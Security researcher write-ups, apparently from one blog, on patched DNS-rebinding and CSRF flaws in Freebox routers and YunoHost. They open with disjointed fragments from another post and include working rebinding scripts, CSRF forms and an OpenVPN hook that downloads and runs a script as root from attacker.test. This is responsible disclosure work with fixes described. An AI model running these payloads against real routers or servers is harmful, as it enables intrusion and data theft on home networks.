I first checked if we could use this technique to bypass the\nDNS-rebinding protection of the Freebox as well.\nThis approach does not work for the Freebox lccal DNS resolver:\nprivate IPv4-mapped IPv6 addresses are filtered as well.
\nThis led me to check how Firefox would behave when receiving\nIPv4-mapped IPv6 addresses from its own DoH implementation.
\nIn the Firefox codebase and documentation, this support is called\nTrusted Recursive Resolver (TRR). \u21a9\ufe0e
\nI found some DNS rebinding vulnerabilities in Freebox devices\n(CVE-2020-24374,\nCVE-2020-24375,\nCVE-2020-24376,\nCVE-2020-24377)\nas well as a Cross Site Request Forgery (CSRF) vulnerability\n(CVE-2020-24373).\nThese vulnerabilities were fixed in 2020-08-05.
\nI found several services\non several models of Freebox[1]\nto be vulnerable to DNS rebinding attacks.\nThese services are normally only accessible from the LAN.\nUsing DNS rebinding and Cross Site Request Forgery (CSRF) attacks,\na malicious remote website can access these services\nby exploiting a browser running in the Local Area Network (LAN).
\nImpacted devices:
\nImpacted components/services:
\nIn addition, the UPnP MediaServer implementation of Freebox Server was found to be vulnerable\nto CSRF as well (CVE-2020-24374)\nthere might not be a practical impact of this vulnerability.
\nThese vulnerabilities were fixed in 2020-08-05\nwith the release of:
\nThese vulnerabilities can be used to conduct a wide range of actions such as:
\nSeveral of these actions could be leveraged\nto attack the devices on the LAN:
\nVulnerability | \nType | \nAffected Device(s) | \nAffected Component | \n
---|---|---|---|
CVE-2020-24373 | \nCSRF | \nFreebox Server | \nUPnP MediaServer (port 52424) | \n
CVE-2020-24374 | \nDNS rebinding | \nFreebox v5 modem | \nWeb UI (port 80) | \n
CVE-2020-24375 | \nDNS rebinding | \nFreebox Server | \nUPnP MediaServer (port 52424) | \n
CVE-2020-24376 | \nDNS rebinding | \nFreebox v5 modem, Freebox Server | \nUPnP IGD (port 5678) | \n
CVE-2020-24377 | \nDNS rebinding | \nFreebox Server | \nWeb UI (port 80) | \n
Identifier: CVE-2020-24376
\nBoth types of Freebox implement the UPnP IGD service\n(fbxigdd/1.0 or fbxigdd/1.1) on TCP port 5678.\nThis service is usually used by (mostly legacy) programs in the LAN\nto forward WAN ports to themselves in order to be reachable\nfrom outside the LAN.\nThis interface is vulnerable to DNS rebinding attacks\nbefore 1.5.29 (for Freebox v5 modem) and 4.2.3 (for Freebox Server).
\nReproduction: The following JavaScript code (script.js
)\ncan be used in a DNS rebinding attack to forward a WAN port\nto the local device which is executing the browser:
function sleep(delay)\n{\n return new Promise((resolve, reject) => {\n setTimeout(resolve, delay);\n });\n}\nasync function main()\n{\n while(true) {\n const response = await fetch(\"/control/wan_ip_connection\", {\n method: \"POST\",\n headers: {\n \"Content-Type\": \"text/xml; charset=utf-8\",\n \"SOAPAction\": '\"urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping\"',\n },\n body: `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <s:Envelope s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\" xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <s:Body>\n <u:AddPortMapping xmlns:u=\"urn:schemas-upnp-org:service:WANIPConnection:1\">\n <NewRemoteHost></NewRemoteHost>\n <NewExternalPort>9999</NewExternalPort>\n <NewProtocol>TCP</NewProtocol>\n <NewInternalPort>9999</NewInternalPort>\n <NewInternalClient>192.168.0.12</NewInternalClient>\n <NewEnabled>1</NewEnabled>\n <NewPortMappingDescription>Test</NewPortMappingDescription>\n <NewLeaseDuration>240</NewLeaseDuration>\n </u:AddPortMapping>\n </s:Body>\n </s:Envelope>`\n });\n if (response.status == 200) {\n alert(\"DONE!\")\n return;\n }\n await sleep(1000);\n }\n}\nmain()\n
\nYou might want to adjust some parameters such as:
\nNewExternalPort
, the WAN port we are going to forward,NewInternalPort
, the port we are going to forward to on the target device,NewInternalClient
, the IP address of the target device,We need a minimal HTML page to serve this code (index.html
):
<script src=\"script.js\">\n
\nWe are going to serve these two files from a remove web site.\nWe need to use the same TCP port as the service we are going to attack\n(TCP port 5678):
\npython3 -m http.server 5678\n
\nNow we need to make the browser on the LAN\nvisit[3] a URI of the form
\n\nhttp://a.192.0.2.1.3time.212.27.38.253.forever.3643bba7-1363-43c6-9865-2db92aaeccb3.rebind.network:5678/\n\n
This domain name in this example asks\nthe whonow[4]\nDNS resolver to resolve this domain to 192.0.2.1.1\n(which is the public IP address of the malicous webserver in our example) one time.\nFor subsequent requests, the resolver will resolve this domain\nto 212.27.38.253[5].\nWhen used in the LAN, this IP address routes to the local Freebox[6].
\nA new UUID (3643bba7-1363-43c6-9865-2db92aaeccb3
) must be used every time\nwe are attempting to replicate the attack.
After some time, a alert()
popup should appear\nsignaling that the attack has succeeded.
We can now confirm that we managed to forward the TCP port:
\nsocat TCP-LISTEN:9999 STDIO
).socat TCP-CONNECT:$ip:9999 STDIO
).Limitation:\nThe NewInternalClient
IP address must be the IP address used to\nmake the request. The service rejects any attempt to forward\nthe port to another device than the one issuing the request.\nWe can only use this vulnerability to open a port to the device executing\nthe browser. We cannot open a port to another device on the LAN.
Impact:\nA remote website can use a DNS rebinding vulnerability on the UPnP IGD\nservice of the Freebox\nto forward WAN ports to the device running the browser.\nThis could be used by an attacker to attack a local service running on\nthe local device.\nFor example, the attacker could try access Samba shares\nby forwarding a WAN port to port TCP 445.
\nIdentifier: CVE-2020-24374
\nThe Freebox v5 has a web user interface on port 80\nwhich provides some information about the Freebox.\nBefore v1.5.29, this web user interface of Freebox v5 is vulnerable to DNS rebinding attacks.\nIt is possible for a malicious remote website\nto exploit this vulnerability to read\nand exfiltrate potentially confidential data found in /pub/fbx_info.txt
.
Example of content of this /pub/fbx_info.txt
(censored):
\n\n Etat de la Freebox\n______________________________________________________________________\n\n\nInformations g\u00e9n\u00e9rales :\n========================\n\n Mod\u00e8le Freebox ADSL\n Version du firmware 1.5.28\n Mode de connection D\u00e9group\u00e9\n Temps depuis la mise en route 31 jours, 21 heures, 40 minutes\n\n\nT\u00e9l\u00e9phone :\n===========\n\n Etat Ok\n Etat du combin\u00e9 Raccroch\u00e9\n Sonnerie Inactive\n\n\nAdsl :\n======\n\n Etat Showtime\n Protocole ADSL2+\n Mode Interleaved\n\n Descendant Montant\n -- --\n D\u00e9bit ATM 10098 kb/s 1281 kb/s\n Marge de bruit 5.90 dB 7.60 dB\n Att\u00e9nuation 29.50 dB 15.40 dB\n FEC 13822690 330\n CRC 7185 0\n HEC 137 16\n\n Journal de connexion adsl :\n ---------------------------\n\n Date Etat D\u00e9bit (kb/s)\n -- -- --\n 19/07/2020 \u00e0 22:10:20 Connexion 10098 / 1025\n 19/07/2020 \u00e0 22:09:56 D\u00e9connexion\n 19/07/2020 \u00e0 06:31:40 Connexion 10820 / 1025\n 19/07/2020 \u00e0 06:31:16 D\u00e9connexion\n 18/07/2020 \u00e0 22:25:13 Connexion 9856 / 1025\n 18/07/2020 \u00e0 22:24:50 D\u00e9connexion\n 18/07/2020 \u00e0 06:05:34 Connexion 11115 / 1025\n 18/07/2020 \u00e0 06:05:11 D\u00e9connexion\n 18/07/2020 \u00e0 03:33:23 Connexion 10594 / 1025\n 18/07/2020 \u00e0 03:33:00 D\u00e9connexion\n 17/07/2020 \u00e0 15:15:16 Connexion 10630 / 1025\n 17/07/2020 \u00e0 15:14:53 D\u00e9connexion\n 17/07/2020 \u00e0 06:49:56 Connexion 11127 / 1025\n 17/07/2020 \u00e0 06:49:33 D\u00e9connexion\n 17/07/2020 \u00e0 01:41:28 Connexion 10109 / 1025\n 17/07/2020 \u00e0 01:41:05 D\u00e9connexion\n 14/07/2020 \u00e0 17:53:02 Connexion 10492 / 1025\n 14/07/2020 \u00e0 17:52:39 D\u00e9connexion\n 14/07/2020 \u00e0 09:28:18 Connexion 11062 / 1025\n 14/07/2020 \u00e0 09:27:55 D\u00e9connexion\n 14/07/2020 \u00e0 04:00:11 Connexion 9873 / 1025\n 14/07/2020 \u00e0 03:59:43 D\u00e9connexion\n 13/07/2020 \u00e0 21:03:44 Connexion 10395 / 1025\n 13/07/2020 \u00e0 21:03:21 D\u00e9connexion\n\n\nWifi :\n======\n\n Etat Ok\n Mod\u00e8le Ralink RT61\n Canal 11\n \u00c9tat du r\u00e9seau Activ\u00e9\n Ssid freebox_XXXXXX\n Type de cl\u00e9 WPA (TKIP+AES)\n FreeWifi Actif\n FreeWifi Secure Actif\n\n\nR\u00e9seau :\n========\n\n Adresse MAC Freebox XX:XX:XX:XX:XX:XX\n Adresse IP XXX.XXX.XXX.XXX\n IPv6 Activ\u00e9\n Mode routeur Activ\u00e9\n Adresse IP priv\u00e9e 192.168.0.254\n Adresse IP DMZ 192.168.0.1\n Adresse IP Freeplayer 192.168.0.0\n R\u00e9ponse au ping Activ\u00e9\n Proxy Wake On Lan D\u00e9sactiv\u00e9\n Serveur DHCP Activ\u00e9\n Plage d'adresses dynamique 192.168.0.10 - 192.168.0.50\n\n Attributions dhcp :\n -------------------\n\n Adresse MAC Adresse IP\n -- --\n XX:XX:XX:XX:XX:XX 192.168.0.10\n XX:XX:XX:XX:XX:XX 192.168.0.11\n XX:XX:XX:XX:XX:XX 192.168.0.12\n XX:XX:XX:XX:XX:XX 192.168.0.14\n XX:XX:XX:XX:XX:XX 192.168.0.15\n XX:XX:XX:XX:XX:XX 192.168.0.1\n\n Interfaces r\u00e9seau :\n -------------------\n\n Lien D\u00e9bit entrant D\u00e9bit sortant\n -- -- --\n WAN Ok 0 ko/s 0 ko/s\n Ethernet 0 ko/s 0 ko/s\n USB Non connect\u00e9\n Switch 100baseTX-FD 0 ko/s 0 ko/s\n\n
Interesting information found here:
\nReproduction:\nIn order to reproduce the attack, we use the same method\nused for the UPnP IGD attack.\nAs the service we are attacking is using port 80,\nwe need to use port 80 instead of port 5678.
\nThe following JavaScript code can be used:
\nfunction sleep(delay)\n{\n return new Promise((resolve, reject) => {\n setTimeout(resolve, delay);\n });\n}\nasync function main()\n{\n while(true) {\n const response = await fetch(\"/pub/fbx_info.txt\");\n if (response.status == 200) {\n const value = await response.text();\n alert(value);\n return;\n }\n await sleep(1000);\n }\n}\nmain()\n
\nOnce obtained the data can then be exilftrated\nusing another fetch()
call.
Identifier: CVE-2020-24375
\nThe Freebox Server hosts a second UPnP service\n(fbxupnpd/0.1.0) on port 52424\nimplementing the device type MediaServer:1
.\nThis interface is vulnerable to DNS rebinding attacks as well (before v4.2.3).\nA remote website can exploit this vulnerability to exfiltrate\nfiles on the attached storage.
As far as I understand, the Freebox does not support writing to the storage\nor uploading the files to another URI using this interface.
\nReproduction:\nWe can use the same method as for previous DNS rebinding attacks\nbut using port 52424. The following JavaScript code\ndemonstrates how an attacker can list the files through DNS rebinding.
\nfunction sleep(delay)\n{\n return new Promise((resolve, reject) => {\n setTimeout(resolve, delay);\n });\n}\nasync function main()\n{\n while(true) {\n const response = await fetch(\"/service/ContentDirectory/control\", {\n \"method\": \"POST\",\n \"body\": `<?xml version=\"1.0\" encoding=\"utf-8\"?>\n <s:Envelope s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\"\n xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\">\n <s:Body>\n <u:Browse xmlns:u=\"urn:schemas-upnp-org:service:ContentDirectory:1\">\n <ObjectID>0</ObjectID>\n <BrowseFlag>BrowseDirectChildren</BrowseFlag>\n <Filter>*</Filter>\n <StartingIndex>0</StartingIndex>\n <RequestedCount>10</RequestedCount>\n <SortCriteria></SortCriteria>\n </u:Browse>\n </s:Body>\n </s:Envelope>`});\n if (response.status == 200) {\n alert(await response.text());\n return;\n }\n await sleep(1000);\n }\n}\nmain()\n
\nThe files can be read using URIs of the form:
\n\nhttp://a.192.0.2.1.3time.212.27.38.253.forever.3643bba7-1363-43c6-9865-2db92aaeccb3.rebind.network:52424/files/Volume%20268Go/test.html\n\n
Identifier: CVE-2020-24373
\nIn addition, this UPnP MediaServer interface is vulnerable to CSRF as well.\nHowever, in a CSRF scenario, the attacker is blind and cannot see the response directly.
\nAs the Freebox does not seem to support write access to this storage\nor exporting the files, there might not be a practical impact of\nthis vulnerability.
\nIdentifier: CVE-2020-24377
\nThe FreeboxServer provides a web UI.\nIn constrast to the web UI of the Freebox v5,\nthis web UI provides a lot of features.\nHowever, it is protected by a password chosen by the user (there is no login).\nAll the important functionalities of this interface seem to be protected\nby this password.
\n\nThis interface is vulnerable to DNS rebinding attacks.\nA malicious remote website can use this vulnerability\nto attempt to find the password of the user (brute-force).\nBy default, this web UI is only accesible from the LAN.\nThe user might be tempted to choose a weak password.
\nIf the attacker succeeds, they can use the DNS rebinding vulnerability\nto access the extensive administration interface, including:
\nThe services are vulnerable to DNS rebinding because\nthey are accepting any value of the Host
header.\nThis vulnerability can be prevented by\nvalidating the Host
against a list of suitable values.
The UPnP MediaServer service was vulnerable to CSRF attacks\nbecause it was accepting UPnP requests[2:1]\nwith any value of the Content-Type
header.\nThis vulnerability can be fixed by enforcing the correct value of this\nheader (text/xml; charset=\"utf-8\"
).\nThis value of the Content-Type
header is mandated by the\nUPnP specification.
Many modem/routers, \u201csmart\u201d devices (smart TVs, etc.) and IoT devices\nexpose HTTP-based services on the LAN without authentication.\nAs a result, DNS rebinding vulnerabilities are\nvery common for these type of devices.\nUnless the authors of the software have taken explicit measure to protect\nagainst this type of attack, these type of services are probably vulnerable.
\nThis is especially true for UPnP services.
\nRoughly, the service is probably vulnerable to DNS-rebinding attacks\nif all of the following are true:
\nHost
header,These devices are also quite susceptible to be vulnerable to CSRF attacks.\nHowever, developers are usually more aware of this type of vulnerability\nand are more susceptible to implement protection against it.
\nBrannon Dorsey wrote whonow.\nThis software is very useful for experimenting with DNS rebinding attacks.\nMoreover a public instance is available at through the rebind.network
domain.\nThis public instance is very convenient because it makes the reproduction\nof these attacks a lot simpler (eg. when disclosing to vendor).
The team developing the Freebox firmware did a great job at fixing those\nvulnerabilities.
\nThe Freebox is the name of several different models of modem/routers\nof Free, a French Internet Service Provider. \u21a9\ufe0e
\nThe UPnP protocol exposes RPC services on the LAN using Simple Object Access Protocol\n(SOAP) over HTTP POST.\nAny system on the local network is supposed to be able to call those services\nwithout authentication.\nThis SOAP-over-HTTP service is expected to be only accessible from the LAN. \u21a9\ufe0e \u21a9\ufe0e
\nFor reproducting the attack, we can simply visit the page using a browser.\nFor a real attack, the attacker would need to trick the victim\ninto visiting this URI.\nThis could take the form of a (invisible) iframe
embeded\nin an innocuous looking website. \u21a9\ufe0e
We are using the public whonow instance.\nwhonow is a very convenient DNS resolver for executing DNS rebinding attacks.\nAn instance of this server is available on the rebind.network
domain. \u21a9\ufe0e
We can try to use the private IP address of the Freebox (192.168.1.254) instead.\nHowever, the DNS resolvers of Free are blocking any DNS response\nwhich contains a private IP address.\nThis prevents this form of DNS rebinding attack to work\nif the user is using the resolvers of Free. \u21a9\ufe0e
\nThe mafreebox.freebox.fr
domain resolves to this IP address. \u21a9\ufe0e
How I found remote code execution vulnerabilities\nvia Cross Site Request Forgery (CSRF)\non the administration interfaces\nof InternetCube applications\nand of the YunoHost administration interface\nwhich could have been used to execute arbitrary code as root.\nThese vulnerabilities were fixed in YunoHost 3.3, OpenVPN Client app 1.3.0.\nand YunoHost 3.4.
\nThis post was written before these fixes were\nincluded and describes the previous behavior.\nYou currently cannot reproduce the vulnerabilities described here\non the demo instance anymore.
\nWhile trying to help some user of LDN's\nVPN,\nI found those lines of shell script\nin vpnclient_ynh,\nthe YunoHost application which manages the OpenVPN client on InternetCube:
\ncurl -kLe \"https://${ynh_domain}/yunohost/sso/\" \\\n --data-urlencode \"user=${ynh_user}\" \\\n --data-urlencode \"password=${ynh_password}\" \\\n \"https://${ynh_domain}/yunohost/sso/\" \\\n --resolve \"${ynh_domain}:443:127.0.0.1\" -c \"${tmpdir}/cookies\" \\\n 2> /dev/null | grep -q Logout\n\noutput=$(curl -kL -F \"service_enabled=${ynh_service_enabled}\"\n \\ -F _method=put -F \"cubefile=@${cubefile_path}\"\n \"https://${ynh_domain}/${ynh_path}/?/settings\" \\\n --resolve \"${ynh_domain}:443:127.0.0.1\" -b \"${tmpdir}/cookies\" \\\n 2> /dev/null | grep RETURN_MSG | sed 's/<!-- RETURN_MSG -->//' \\\n | sed 's/<\\/?[^>]\\+>//g' | sed 's/^ \\+//g')\n
\nThese shell commands trigger a reconfiguration of the VPN client application:
\nthe first command logs in on SSOwat,\nthe Single Sign-On (SSO) middleware used on the InternetCube/YunoHost,\nand gets a session cookie;
\nthe second command requests a reconfiguration of the VPN\nwith this session.
\nReading those two shell commands,\nyou can suspect that the application is probably vulnerable to CSRF attacks.\nThe second request can be trigerred from a third-party website\nbecause this is a simple request\n(a POST
with multipart/form-data
payload without custom HTTP header)\nwhich does not include a CSRF token.
Here is the detail of the messages:
\nPOST /yunohost/sso/ HTTP/1.1\nHost: yunohost.test\nUser-Agent: curl/7.58.0\nAccept: */*\nReferer: https://yunohost.test/yunohost/sso/\nContent-Length: 29\nContent-Type: application/x-www-form-urlencoded\n\nuser=johndoe&password=patator\n
\nHTTP/1.1 302 Moved Temporarily\nServer: nginx\nDate: Sat, 26 May 2018 23:49:53 GMT\nContent-Type: text/html\nContent-Length: 154\nConnection: keep-alive\nX-SSO-WAT: You've just been SSOed\nSet-Cookie: SSOwAuthUser=johndoe; Domain=.yunohost.test; Path=/; Expires=Sun, 03 Jun 2018 01:49:53 UTC;; Secure\nSet-Cookie: SSOwAuthHash=55a09d6ccce21345b63de281a95fa3aeee97a305e19c27b95db8f2758266dce7669f683dc42e4215cf20fbf58ef78c9b96979cfd51ab7f94204a3277be22e729; Domain=.yunohost.test; Path=/; Expires=Sun, 03 Jun 2018 01:49:53 UTC;; Secure\nSet-Cookie: SSOwAuthExpire=1527983393.419; Domain=.yunohost.test; Path=/; Expires=Sun, 03 Jun 2018 01:49:53 UTC;; Secure\nLocation: https://yunohost.test/yunohost/sso/\nStrict-Transport-Security: max-age=63072000; includeSubDomains; preload\nContent-Security-Policy: upgrade-insecure-requests\nContent-Security-Policy-Report-Only: default-src https: data: 'unsafe-inline' 'unsafe-eval'\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nX-Download-Options: noopen\nX-Permitted-Cross-Domain-Policies: none\nX-Frame-Options: SAMEORIGIN\n
\nPOST /vpnadmin/?/settings HTTP/1.1\nHost: yunohost.test\nUser-Agent: curl/7.58.0\nAccept: */*\nCookie: SSOwAuthExpire=1527983393.419; SSOwAuthHash=55a09d6ccce21345b63de281a95fa3aeee97a305e19c27b95db8f2758266dce7669f683dc42e4215cf20fbf58ef78c9b96979cfd51ab7f94204a3277be22e729; SSOwAuthUser=johndoe\nContent-Length: 817\nContent-Type: multipart/form-data; boundary=------------------------df246192f1b4f4b2\n\n--------------------------91ecd6f6b2b63ea9\nContent-Disposition: form-data; name=\"service_enabled\"\n\n1\n--------------------------91ecd6f6b2b63ea9\nContent-Disposition: form-data; name=\"_method\"\n\nput\n--------------------------91ecd6f6b2b63ea9\nContent-Disposition: form-data; name=\"cubefile\"; filename=\"test.\ncube\"\nContent-Type: application/octet-stream\n\n{\n \"server_name\": \"vpn.attacker.test\",\n \"server_port\": \"9000\",\n \"server_proto\": \"tcp\",\n \"crt_client_ta\": \"\",\n \"login_user\": \"test\",\n \"login_passphrase\": \"test\",\n \"dns0\": \"89.234.141.66\",\n \"dns1\": \"2001:913::8\",\n \"openvpn_rm\": [\n \"\"\n ],\n \"openvpn_add\": [\n \"\"\n ],\n \"ip6_net\": \"2001:db8::/48\",\n \"ip4_addr\": \"192.0.2.42\",\n \"crt_server_ca\": \"-----BEGIN CERTIFICATE-----|...|-----END CERTIFICATE-----\",\n \"crt_client\": \"\",\n \"crt_client_key\": \"\"\n}\n--------------------------91ecd6f6b2b63ea9--\n
\nHTTP/1.1 302 Moved Temporarily\nServer: nginx\nDate: Sat, 26 May 2018 23:49:53 GMT\nContent-Type: text/html; charset=UTF-8\nTransfer-Encoding: chunked\nConnection: keep-alive\nX-SSO-WAT: You've just been SSOed\nSet-Cookie: SSOwAuthRedirect=;; Path=/yunohost/sso/; Expires=Thu, 01 Jan 1970 00:00:00 UTC;; Secure\nX-Limonade: Un grand cru qui sait se faire attendre\nSet-Cookie: LIMONADE0x5x0=r9qvidch2vc519drn9758n3kg2; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0\nPragma: no-cache\nLocation: /vpnadmin/\nStrict-Transport-Security: max-age=63072000; includeSubDomains; preload\nContent-Security-Policy: upgrade-insecure-requests\nContent-Security-Policy-Report-Only: default-src https: data: 'unsafe-inline' 'unsafe-eval'\nX-Content-Type-Options: nosniff\nX-XSS-Protection: 1; mode=block\nX-Download-Options: noopen\nX-Permitted-Cross-Domain-Policies: none\nX-Frame-Options: SAMEORIGIN\n
\nWhile the user is currently logged-in on their YunoHost instance,\na malicious website can make the user's browser issue this request\n(including the user's cookies)\nand trigger a VPN reconfiguration on the user's behalf.\nThis can be achieved using a (possibly auto-submitting) HTML form like this one\nfrom the malicious website (or with fetch
):
<form action=\"https://yunohost.test/vpnadmin/?/settings\"\n method=\"POST\"\n enctype=\"multipart/form-data\">\n <input type=\"hidden\" name=\"service_enabled\" value=\"1\">\n <input type=\"hidden\" name=\"_method\" value=\"put\">\n <input type=\"hidden\" name=\"server_name\" value=\"vpn.attacker.test\">\n <input type=\"hidden\" name=\"server_port\" value=\"1194\">\n <input type=\"hidden\" name=\"server_proto\" value=\"tcp\">\n <input type=\"hidden\" name=\"ip6_net\" value=\"\">\n <input type=\"hidden\" name=\"raw_openvpn\" value=\"\n\n# [WARN] Edit this raw configuration ONLY IF YOU KNOW\n# what you do!\n# [WARN] Continue to use the placeholders <TPL:*> and\n# keep update their value on the web admin (they\n# are not only used for this file).\n\nremote <TPL:SERVER_NAME>\nproto <TPL:PROTO>\nport <TPL:SERVER_PORT>\n\npull\nnobind\ndev tun\ntun-ipv6\nkeepalive 10 30\ncomp-lzo adaptive\nresolv-retry infinite\n\n# Authentication by login\n<TPL:LOGIN_COMMENT>auth-user-pass /etc/openvpn/keys/credentials\n\n# UDP only\n<TPL:UDP_COMMENT>explicit-exit-notify\n\n# TLS\ntls-client\n<TPL:TA_COMMENT>tls-auth /etc/openvpn/keys/user_ta.key 1\nremote-cert-tls server\nns-cert-type server\nca /etc/openvpn/keys/ca-server.crt\n<TPL:CERT_COMMENT>cert /etc/openvpn/keys/user.crt\n<TPL:CERT_COMMENT>key /etc/openvpn/keys/user.key\n\n# Logs\nverb 3\nmute 5\nstatus /var/log/openvpn-client.status\nlog-append /var/log/openvpn-client.log\n\n# Routing\nroute-ipv6 2000::/3\nredirect-gateway def1 bypass-dhcp\n \">\n\n <input type=\"file\" name=\"crt_server_ca\" value=\"\">\n <input type=\"hidden\" name=\"crt_client\" value=\"\">\n <input type=\"file\" name=\"crt_client_key\" value=\"\">\n <input type=\"file\" name=\"crt_client_ta\" value=\"\">\n <input type=\"hidden\" name=\"login_user\" value=\"johndoe\">\n <input type=\"hidden\" name=\"login_passphrase\" value=\"1234\">\n <input type=\"hidden\" name=\"dns0\" value=\"89.234.141.66\">\n <input type=\"hidden\" name=\"dns1\" value=\"2001:913::8\">\n <input type=\"file\" name=\"cubefile\" value=\"\" style=\"display: none;\">\n <input type=\"submit\">\n</form>\n
\nThe whole sequence looks like this:
\n\n\nUser Browser yunohost www.attacker\n .test .test\n | | | |\n |----->| | | Login on yunohost.test\n | | | |\n | |------>| | POST /yunohost/sso/ HTTP/1.1\n | | | |\n | |<------| | HTTP/1.1 302\n | | | | Set-Cookie: SSOwAuthUser=johndoe\n | | | | Set-Cookie: SSOAuthHash=55a09d6ccce...\n | | | | Set-Cookie: SSOwAuthExpire=1527983393.419\n | | | |\n | | | | ... later ...\n | | | |\n |----->| | | Visit http://www.attacker.test/\n | | | |\n | |------------------->| GET / HTTP/1.1\n | | | |\n | |<-------------------| HTTP/1.1 200 OK\n | | | | <form\n | | | | action=\"https://yunohost.test/vpnadmin/?/settings\"\n | | | | method=\"POST\"\n | | | | enctype=\"multipart/form-data\">\n | | | | ...\n | | | | </form>\n | | | | <script>document.forms[0].submit()</script>\n | | | |\n | |------>| | POST /vpnadmin/?/settings\n | | | | Cookie: SSOwAuthUser=johndoe\n | | | | Cookie: SSOAuthHash=55a09d6ccce...\n | | | | Cookie: SSOwAuthExpire=1527983393.419\n | | | |\n | | o | Reconfigure VPN\n\n
The attacker could reconfigure the OpenVPN of the target YunoHost instance\nto use a differente VPN server (eg. vpn.attacker.test
)\nand meddler-in-the-middle (MITM) all the\ntraffic going through the YunoHost instance.
Moreover, the attacker can configure OpenVPN hooks (up
, down
, etc.)\nthrough the raw_openvpn
form parameter and execute arbitray shell commands:
up sh -c \"wget -nc -O /tmp/rootme.sh http://www.attacker.test/rootme.sh && sh /tmp/rootme.sh\"\n
\nThe OpenVPN instance runs as root, so these commands will run as root.
\nOther InternetCube applications have the same structure:\nthey include a configuration web endpoint which relies completely on SSOwat\nfor access control and are probably vulnerable as well.\nThis includes\nhotspot_ynh,\npiratebox_ynh\nand\ntorclient_ynh.
\nThe same kind of CSRF vulnerability is found in the main YunoHost interface.
\nIf you try to add a new account on the demo instance,\nyour browsers sends this HTTP request:
\nPOST /yunohost/api/users HTTP/1.1\nHost: demo.yunohost.org\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:61.0) Gecko/20100101 Firefox/61.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: fr-FR,fr;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate, br\nReferer: https://demo.yunohost.org/yunohost/admin/\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: ...\nCookie: session.hashes=\"!ujY2IDH1jzw6da7pRz88Ig==?gAJVDnNlc3Npb2...=\";\n session.id=821e7216b96b37e9e76bbcd4eb9e4a25856e6b6a;\n ynhSecurityViewedItems=[]\nDNT: 1\nConnection: keep-alive\n\nusername=test&\nfirstname=Test&\nlastname=Test&\nemail=test&\ndomain=%40demo.yunohost.org&\nmailbox_quota=10M&\npassword=12345&\nconfirmation=12345&\nmail=test%40demo.yunohost.org&\nlocale=fr\n
\nHere again, the request looks like it is vulnerable to CSRF:\nit is a simple\nurlencoded
POST
without CSRF token.
Let's write some HTML to replicate the request:
\n<form action=\"https://demo.yunohost.org/yunohost/api/users\" method=\"POST\">\n\n <input type=\"hidden\" name=\"username\" value=\"johndoe\">\n <input type=\"hidden\" name=\"firstname\" value=\"John\">\n <input type=\"hidden\" name=\"lastname\" value=\"Doe\">\n <input type=\"hidden\" name=\"domain\" value=\"@demo.yunohost.org\">\n\n <input type=\"hidden\" name=\"mailbox_quota\" value=\"10M\">\n <input type=\"hidden\" name=\"password\" value=\"12345\">\n <input type=\"hidden\" name=\"confirmation\" value=\"12345\">\n <input type=\"hidden\" name=\"mail\" value=\"doe@demo.yunohost.org\">\n <input type=\"hidden\" name=\"locale\" value=\"fr\">\n\n <input type=\"submit\">\n\n</form>\n
\nIf you are logged in on the admin interface of the YunoHost demo instance\nand if you validate this form from another website,\nit will trigger the creation of the new account\non your behalf on the demo instance.\nMost (if not all) administrative actions on YunoHost are vulnerable as well.
\nInstalling an application from the list of application is done with this\nrequest:
\nPOST /yunohost/api/apps HTTP/1.1\nHost: demo.yunohost.org\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0\nAccept: application/json, text/javascript, */*; q=0.01\nAccept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3\nAccept-Encoding: gzip, deflate, br\nReferer: https://demo.yunohost.org/yunohost/admin/\nContent-Type: application/x-www-form-urlencoded; charset=UTF-8\nX-Requested-With: XMLHttpRequest\nContent-Length: ...\nCookie: session.hashes=\"!ujY2IDH1jzw6da7pRz88Ig==?gAJVDnNlc3Npb2...=\";\n session.id=821e7216b96b37e9e76bbcd4eb9e4a25856e6b6a;\n ynhSecurityViewedItems=[]\nConnection: keep-alive\n\nlabel=myapp&app=foo&args=domain%3Ddemo.yunohost.org%26path%3D%252F30my_app%26is_public%3DYes&locale=fr\n
\nAs before, it is possible to trigger it with CSRF:
\n<meta charset=\"UTF-8\">\n<form action=\"https://demo.yunohost.org/yunohost/api/apps\"\n method=\"POST\"\n enctype=\"application/x-www-form-urlencoded\">\n\n <input name=\"label\" value=\"my_app\"> <br/>\n <input name=\"app\" value=\"foo\"> <br/>\n <input name=\"args\" value=\"domain=demo.yunohost.org&path=/my_app&is_public=Yes\"> <br/>\n <input name=\"locale\" value=\"fr\"> <br/>\n\n <input type=\"submit\">\n\n</form>\n
\nWe are not limited to installing the application from the list of known\napplications.\nWe can install a custom application from GitHub\nby replacing the value of the application ID in the app
parameter\nby the github project URI:
<meta charset=\"UTF-8\">\n<form action=\"https://demo.yunohost.org/yunohost/api/apps\"\n method=\"POST\"\n enctype=\"application/x-www-form-urlencoded\">\n\n <input name=\"label\" value=\"botnet\"> <br/>\n <input name=\"app\" value=\"https://github.com/randomstuff/botnet_ynh\"> <br/>\n <input name=\"args\" value=\"domain=demo.yunohost.org&path=/botnet&is_public=Yes\"> <br/>\n <input name=\"locale\" value=\"fr\"> <br/>\n\n <input type=\"submit\">\n\n</form>\n
\nBy installing a custom YunoHost application,\nwe could execute arbitrary shell commands as root.
\nThe yunohost.yml
file defines the binding of YuonoHost commands to HTTP routes.\nFrom this file we can get a list of potentially vulnerable endpoints:
POST /users
POST /users/ssh/enable
POST /users/ssh/disable
POST /users/ssh/key
POST /domains
POST /domains/cert-install/<domain_list>
POST /domains/cert-renew/<domain_list>
POST /app
POST /tools/initdb
POST /access
POST /backup
POST /backup/restore/<name>
